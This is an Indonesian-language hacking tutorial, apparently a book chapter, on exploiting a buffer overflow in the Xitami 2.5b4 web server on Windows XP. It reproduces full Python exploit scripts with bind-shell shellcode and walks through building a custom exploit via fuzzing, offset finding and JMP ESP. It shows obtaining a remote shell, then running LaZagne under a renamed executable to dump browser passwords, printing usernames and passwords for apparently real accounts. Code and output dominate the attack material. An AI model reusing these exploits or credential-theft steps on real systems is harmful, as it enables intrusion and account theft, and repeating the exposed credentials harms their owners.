2011-06-03				Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit	windows	mr.pr0n
2010-08-25		-		Xitami 2.5c2 Web Server If-Modified-Since Overflow	windows	metasploit
2010-05-10		-		Xitami 5.0 - '/AUX' Request Remote Denial Of Service Vulnerability	windows	Usman Saeed
2009-04-22		-		Xitami Web Server <= 5.0 - Remote Denial of Service Exploit	windows	Jonathan Salwa.
2008-04-03		-		Xitami Web Server 2.5c2 - LRWP Processing Format String PoC	windows	bratax
2007-09-24		-		Xitami Web Server 2.5 (If-Modified-Since) Remote BoF Exploit (0day)	windows	h07
2004-07-22		-		Xitami Web Server Denial of Service Exploit	windows	CoolICE
2004-07-22		-		Imatix Xitami 2.5 Server Side Includes Cross-Site Scripting Vulnerability	windows	Oliver Karow
2002-06-14		-		Imatix Xitami 2.5 GSL Template Cross-Site Scripting Vulnerability	windows	Matthew Murphy

Advanced search

Date	D	A	V	Title
2011-06-04				Xitami Web Server 2.5b4 - Remote Buffer Overflow (Egghunter)
2011-06-03				Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit
2010-08-25		-		Xitami 2.5c2 Web Server If-Modified-Since Overflow
2010-05-10		-		Xitami 5.0 - '/AUX' Request Remote Denial Of Service Vulnerability

Saat diklik title-nya muncul source code xitami exploit

```
# C:\Xitami>

import time
import socket
import sys

if len(sys.argv) != 3:
    print "Usage: ./xitami.py <Target IP> <Target Port>"
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])

egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"w00t" # 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

# ./msfpayload windows/shell_bind_tcp lport=1337 exitfunc=process R | ./msfencode -b
shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x70\xe4\x08"
"\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x1e\x5b\x7e"
"\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x30\xe6\xbc"
"\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x5b\xd4\xfd"
"\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x11\x31\xfd"
"\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x4b\x13\x48"
"\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\xb0\xd1\x67"
"\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x1b\xfc\xe2"
"\xbb\xc8\xae\x39\x78\x81\x4d\xc4\x1c\x2d\x16\x6d\xc3\x04\xde"
"\x58\x43\x4e\xc5\x60\x46\x4b\xc9\x79\xfb\x32\xdd\x46\xb8\xd4"
"\x61\x62\x92\xf6\xe8\x7b\xe8\x41\xc0\xee\xe2\xbb\x64\x6c\xb8"
"\x43\x2d\xfd\xda\x61\xb0\x7c\xe6\x36\xab\x3e\x7a\x80\xe6\x60"
"\x2b\x52\x1d\x53\xed\xb4\x94\x86\x8b\x66\x26\x56\x67\xe0\x7c"
"\xfb\x1c\xb9\x4f\x75\x4e\x7d\x63\xac\xbc\x7e\x90\xfd\xa1\xb2"
```

Bisa copy paste di editor kali linux tapi juga bisa dilakukan download langsung.

Simpan di folder yang diinginkan.

Untuk memanggil eksploitnya dilihat berdasarkan file tersebut dibuat dengan Bahasa pemrograman apa, di sini exploit dibuat dengan python.

13.3 Tahap eksploitasi

Jalankan Python 17361.py

```
root@kalidata:~# python 17361.py
Usage: ./xitami.py <Target IP> <Target Port>
```

Target 192.168.1.39, port 80.

```
root@kalidata:~# python 17361.py 192.168.1.39 80
[+] Connected
[+] Sending payload...
[+] Check port 1337 for your shell
```

Setelah melakukan eksploitasi maka cek dengan telnet port 1337, hasilnya saat dicek, berhasil masuk ke dalam komputer target.

```
root@kalidata:~# telnet 192.168.1.39 1337
Trying 192.168.1.39...
Connected to 192.168.1.39.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Xitami>
```

Cara lain

```
root@dhcppc4:/home# nmap -A 192.168.1.100

Starting Nmap 6.25 ( http://nmap.org ) at 2017-05-24 11:16 EDT
Nmap scan report for 192.168.1.100
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Xitami ftpd 2.5b4 (1/25 users)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-------   1 user     user          400 Sep 21  1997 index.htm
|_-rw-------   1 user     user          194 Oct 25  1997 index.txt
|_ftp-bounce: bounce working!
22/tcp  open  ssh          WeOnlyDo sshd 1.2.7 (protocol 2.0)
| ssh-hostkey: 1024 89:d7:d3:62:97:99:4e:22:3e:07:c4:e5:8e:ef:e4:9a (DSA)
|_1024 a6:6b:a5:31:1a:33:39:c6:4a:d4:58:68:5c:36:ae:50 (RSA)
80/tcp  open  http         Xitami httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code
|_http-title: Welcome To Xitami v2.5b4
81/tcp  open  http         Xitami httpd admin port
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
```

Target terdeteksi menggunakan xitami versi 2.5b4

```
|_http-methods: No Allow or Public header in OPTIONS r
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:FE:2B:C7 (Cadmus Computer System
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:w
OS details: Microsoft Windows XP SP2 or SP3, or Window
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windo

Host script results:
|_nbstat: NetBIOS name: PC100, NetBIOS user: <unknown>
:2b:c7 (Cadmus Computer Systems)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: pc100
|   NetBIOS computer name: PC100
|   Workgroup: WORKGROUP
```

Target terdeteksi menggunakan Windows XP dengan kemungkinan Windows XP SP2 atau Windows XP SP3

```
root@dhcppc4:/home# searchsploit xitami
 Description                                                              Pat
h
--------------------------------------------------------------------------- ----
---------------------
Xitami Web Server Denial of Service Exploit                               /win
dows/dos/362.sh
Xitami Web Server 2.5 (If-Modified-Since) Remote BoF Exploit (0day)       /win
dows/remote/4450.py
Xitami Web Server v2.5c2 LRWP Processing Format String PoC                /win
dows/dos/5354.c
Xitami Web Server <= 5.0 Remote Denial of Service Exploit                 /win
dows/dos/8511.pl
Xitami 2.5c2 Web Server If-Modified-Since Overflow                        /win
dows/remote/16753.rb
Xitami Web Server 2.5b4 Remote Buffer Overflow Exploit                    /win
dows/remote/17359.pl
Xitami Web Server 2.5b4 Remote Buffer Overflow (Egghunter)                /win
dows/remote/17361.py
Imatix Xitami 2.5 GSL Template Cross Site Scripting Vulnerability         /win
dows/remote/21554.txt
Imatix Xitami 2.5 Server Side Includes Cross-Site Scripting Vulnerability /win
dows/remote/24304.txt
root@dhcppc4:/home#
```

Ketik searchsploit xitami lalu enter

```
dows/dos/362.sh
Xitami Web Server 2.5 (If-Modified-Since) Remote BoF Exploit (0da
dows/remote/4450.py
Xitami Web Server v2.5c2 LRWP Processing Format String PoC
dows/dos/5354.c
Xitami Web Server <= 5.0 Remote Denial of Service Exploit
dows/dos/8511.pl
Xitami 2.5c2 Web Server If-Modified-Since Overflow
dows/remote/16753.rb
Xitami Web Server 2.5b4 Remote Buffer Overflow Exploit
dows/remote/17359.pl
Xitami Web Server 2.5b4 Remote Buffer Overflow (Egghunter)
dows/remote/17361.py
Imatix Xitami 2.5 GSL Template Cross Site Scripting Vulnerability
dows/remote/21554.txt
Imatix Xitami 2.5 Server Side Includes Cross-Site Scripting Vulne
dows/remote/24304.txt
root@dhcppc4:/home#
```

Ditemukan exploit nya

```
dows/remote/17361.py
Imatix Xitami 2.5 GSL Template Cross Site Scripting Vulnerability
dows/remote/21554.txt
Imatix Xitami 2.5 Server Side Includes Cross-Site Scripting Vulne
dows/remote/24304.txt
root@dhcppc4:/home#
root@dhcppc4:/home# locate 17361.py
/usr/share/exploitdb/platforms/windows/remote/17361.py
root@dhcppc4:/home#
```

Periksa letak keberadaan file 17361.py

```
dows/remote/17361.py
Imatix Xitami 2.5 GSL Template Cross Site Scripting Vulnerability          /win
dows/remote/21554.txt
Imatix Xitami 2.5 Server Side Includes Cross-Site Scripting Vulnerability   /win
dows/remote/24304.txt
root@dhcppc4:/home#
root@dhcppc4:/home# locate 17361.py
/usr/share/exploitdb/platforms/windows/remote/17361.py
root@dhcppc4:/home# nano /usr/share/exploitdb/platforms/windows/remote/17361.py
```

Buka file 17361.py

```
GNU nano 2.2.6 File: ...exploitdb/platforms/windows/remote/17361.py

# Exploit Title: Xitami Web Server 2.5 Remote Buffer Overflow (Egghunte
# Date: June 4, 2011
# Author: Glafkos Charalambous
# Version: 2.5b4
# Tested on: Windows XP SP3 En
# Discovered by: Krystian Kloskowski
#
# root@bt:~/Desktop# python xitami.py 192.168.0.24 80
# [+] Connected
# [+] Sending payload...
# [+] Check Port 1337 for your shell
# root@bt:~/Desktop# telnet 192.168.0.24 1337
# Trying 192.168.0.24...
# Connected to 192.168.0.24.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
```

Sudah ditest untuk Windows XP SP3

```
target = sys.argv[1]
port = int(sys.argv[2])

egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"w00t" # 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

# ./msfpayload windows/shell_bind_tcp lport=1337 e
shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\
"\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x
"\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x
"\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x
"\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x
"\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x
"\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x
"\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\x
"\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x
```

Shelcode Windows shell bind dengan port 1337

```
root@dhcppc4:/home# python /usr/share/exploitdb/platforms/windows/remote/17361.p
y
Usage: ./xitami.py <Target IP> <Target Port>
root@dhcppc4:/home# telnet 192.168.1.100 1337
Trying 192.168.1.100...
telnet: Unable to connect to remote host: Connection refused
root@dhcppc4:/home# python /usr/share/exploitdb/platforms/windows/remote/17361.p
y 192.168.1.100 80
[+] Connected
[+] Sending payload...
[+] Check port 1337 for your shell
root@dhcppc4:/home#
```

Di uji port 1337

Saat diuji awal tidak ada port 1337 terbuka, tapi setelah exploit dijalankan maka port 1337 menjadi ada karena shellcode dari exploit tersebut dijalankan di server target.

```
root@dhcppc4:/home# telnet 192.168.1.100 1337
Trying 192.168.1.100...
telnet: Unable to connect to remote host: Connection refused
root@dhcppc4:/home# python /usr/share/exploitdb/platforms/windows/remote/17361.p
y 192.168.1.100 80
[+] Connected
[+] Sending payload...
[+] Check port 1337 for your shell
root@dhcppc4:/home# telnet 192.168.1.100 1337
```

Akses telnet ke target melalui port 1337

```
root@dhcppc4:/home# telnet 192.168.1.100 1337
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Xitami>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.100
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

C:\Xitami>
```

Berhasil masuk ke server

```
C:\Xitami>net use z: \\192.168.1.9\modul /u:kurniawan baseball
net use z: \\192.168.1.9\modul /u:kurniawan baseball
The command completed successfully.


C:\Xitami>z:
z:

Z:\>cd ambilpass
cd ambilpass

Z:\ambilpass>dir
dir
 Volume in drive Z has no label.
 Volume Serial Number is FE56-6A1A

 Directory of Z:\ambilpass

01/18/2017  08:42 PM    <DIR>          .
01/18/2017  08:42 PM    <DIR>          ..
07/01/2015  05:03 PM        15,666,210 ambilpass.exe
               1 File(s)     15,666,210 bytes
               2 Dir(s)  102,121,345,024 bytes free

Z:\ambilpass>
```

Buka akses map drive ke 192.168.1.9

```
Z:\ambilpass>copy ambilpass.exe c:
copy ambilpass.exe c:
        1 file(s) copied.

Z:\ambilpass>c:
c:

C:\ambilpass>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4CC0-D58B

 Directory of C:\ambilpass

01/18/2017  05:47 AM    <DIR>          .
01/18/2017  05:47 AM    <DIR>          ..
07/01/2015  05:03 PM        15,666,210 ambilpass.exe
               1 File(s)     15,666,210 bytes
               2 Dir(s)   2,082,492,416 bytes free
```

Copy program LazaGne dengan nama file ambilpass.exe ke c:

```
C:\ambilpass>ambilpass browsers
ambilpass browsers

|==============================================================
|
|                        The LaZagne Project
|
|                          ! BANG BANG !
|
|==============================================================

------------------- Firefox passwords -----------------

Password found !!!
Website: http://www.facebook.com
Username: cewesaturnus@yahoo.com
Password: passrahasia

Password found !!!
Website: https://www.facebook.com
Username: cewek@gmail.com
Password: 12345

Password found !!!
Website: https://login.yahoo.com
Username: yk_family_code@yahoo.com
Password: cobacoba

Password found !!!
Website: http://blog.xcode.or.id
Username: admin
Password: passaja
```

Hasilnya

Jika exploit dibuat sendiri, maka masukkan program xitami dalam komputer lab sendiri

Tampilan web

Klik kanan lalu pilih Inspect Element

Pilih Network lalu Klik Reload

Tampilan pada header

A sebanyak 100 bytes akan akan dikirimkan ke variable buffer. ('GET / HTTP/1.1\r\n' \ 'If-Modified-Since: , %s\r\n\r\n') %(buffer)

Program fuzzer yang dibuat

Saat dijalankan mengenai EIP

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2A

C:\Program Files\Rapid7\framework\msf3\tools>
```

ruby pattern_create.rb 100

xitamifuzz2 - Notepad

File Edit Format View Help

```
import socket;

buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac
5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buffer)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.39", 80))
print "Kirim paket"
s.send(header)
s.close()
```

Hasil dari ruby pattern_create.rb 1000 dikirim ke target

Hasilnya dari dikirim ke target maka EIP nya memberi nilai 41346341

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 41346341
72

C:\Program Files\Rapid7\framework\msf3\tools>
```

Masukkan bukau 41346341 ke pattern_offset.rb

Untuk mengetahui keberadaan proteksi pada modul dengan !mona

Pilih view lalu executable modules

Pilih USER32.DLL

Klik kanan lalu Search for lalu Command

Masukkan JMP ESP

Hasil dari JMP ESP

File Edit Format View Help

```
import socket;

buffer = "\x41" * 72
eip = "\x54\x93\x42\x7E"
nop = "\x90" * 35
shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")

header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buffer+eip+nop+shellcode)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

Hasil jadi exploit

Saat exploit dijalankan ternyata target tidak berhasil dilakukan remote dengan telnet

Melakukan jump short sebanyak 36, hasilnya \xeb\x22

```
1  shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
2  "\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
3  "\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
4  "\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
5  "\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
6  "\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
7  "\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
8  "\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
9  "\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
10 "\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
11 "\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
12 "\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
13 "\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
14 "\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
15 "\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
16 "\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
17 "\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
18 "\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
19 "\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
20 "\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
21 "\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
22 "\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
23 "\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
24 "\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
25 "\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
26 "\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
27 "\x7d\x8b\xb6\x06")
```

Shell sampai 27 baris, saat exploit dijalankan maka berhasil masuk.

```
import socket;
buffer = "\x41" * 72
eip = "\x53\x93\x42\x7E"
jump = "\xeb\x22"
nop = "\x90"*35
shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
```

```
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")

header = ( 'GET / HTTP/1.1\r\n' \
        'If-Modified-Since: , %s\r\n\r\n') %(buffer+eip+jump+nop+shellcode)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.39", 80))
print "Kirim paket"
s.send(header)
s.close()
```

Hasil dari eksploitasi

Mencoba mengganti dengan shellcode lain

```
1  shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
2  "\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x70\xe4\x08"
3  "\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x1e\x5b\x7e"
4  "\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x30\xe6\xbc"
5  "\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x5b\xd4\xfd"
6  "\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x11\x31\xfd"
7  "\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x4b\x13\x48"
8  "\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\xb0\xd1\x67"
9  "\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x1b\xfc\xe2"
10 "\xbb\xc8\xae\x39\x78\x81\x4d\xc4\x1c\x2d\x16\x6d\xc3\x04\xde"
11 "\x58\x43\x4e\xc5\x60\x46\x4b\xc9\x79\xfb\x32\xdd\x46\xb8\xd4"
12 "\x61\x62\x92\xf6\xe8\x7b\xe8\x41\xc0\xee\xe2\xbb\x64\x6c\xb8"
13 "\x43\x2d\xfd\xda\x61\xb0\x7c\xe6\x36\xab\x3e\x7a\x80\xe6\x60"
14 "\x2b\x52\x1d\x53\xed\xb4\x94\x86\x8b\x66\x26\x56\x67\xe0\x7c"
15 "\xfb\x1c\xb9\x4f\x75\x4e\x7d\x63\xac\xbc\x7e\x90\xfd\xa1\xb2"
16 "\x6b\x06\xb4\x92\x1f\x90\x26\x1a\x4f\x3d\x18\xa2\x3c\x72\x0f"
17 "\x93\x37\xf7\xf3\x5a\x7f\x33\xbf\x9f\xc2\xea\xb9\x13\x6c\x77"
18 "\xb6\xd4\xc0\x37\x86\x78\xd3\x86\x8c\x9f\x3a\x0f\xb1\x5e\x0f"
19 "\xb9\x09\xf1\x0c\xe9\x2f\xb7\xd7\xea\x37\x4f\x6a\xc3\xdb\x7b"
20 "\x48\x32\x05\xd4\x48\xcc\x47\x59\x41\xc5\x0b\xf5\x02\xeb\x06"
21 "\x7f\xae\x25\x2b\x16\x2d\x51\x18\x91\x9c\x96\x32\x17\x1c\x6e"
22 "\x95\xb9\x4e\xf5\xa6\x29\x8b\x30\x48\x07\x55\xf1\xe4\xa8\xe2"
23 "\x4d\xe0\x6a\xef\xd3\x4e\x07\x4d\xb2\x25\xe0\xb2\x33\x1b\xdc"
24 "\x50\xac\x59\x35\xd9\x91\x9c\x44\x5a\xc1\x52\x19\x0f\x03\xc9"
25 "\x1d\x71\xe5\x79\x54\x3d\xc0\x87\x4d\x9f\x9d\x69\x09\xd4\x6b"
26 "\xe2\xa5\xe0\x77\xd0\xb9\xbd\x85\xd0\x35\xcb\x59\x78\x22\xf2"
27 "\x25\x78\x64\xf6\x2a\x8d\x3e\xc8\xce\x7c\x6f\x64\x24\xb4\x2c"
28 "\x14\xd5\xff\x9c\x84\x40\xf1\x74\xcf\x3c\x4f\xac\x2c\xe2\xae"
29 "\xaa\xaf\xb0\xcf\xc8\x31\x30\xb3\xb0\x8b\x08\x25\x2d\x95\x3d"
30 "\xf5\x0c\x1f\x23\xd9\x87\x31\x79\xd2\x8d\xad\x59\xdd\xb0\x4c"
31 "\xa4\x17\xeb\x97\xb0\x90\x3c\x45\xb7\x3f\x2b\x04\xf3\xc6\xe8"
32 "\x56\x25\x7a\xfd\x6e\x3b\xef\x64\x14\x9b\x67\x08\x9c\x47\x73"
33 "\x24\x1e\x1e\xc6\xd2\xad\xcc\x0c\xc8\xbb\x4e\x12\xde\xf5\x35"
34 "\x25\xe0\xb0\xef\x04\xb5\x29\x62\xc6\x56\x44\x52\x16\xa3\x63"
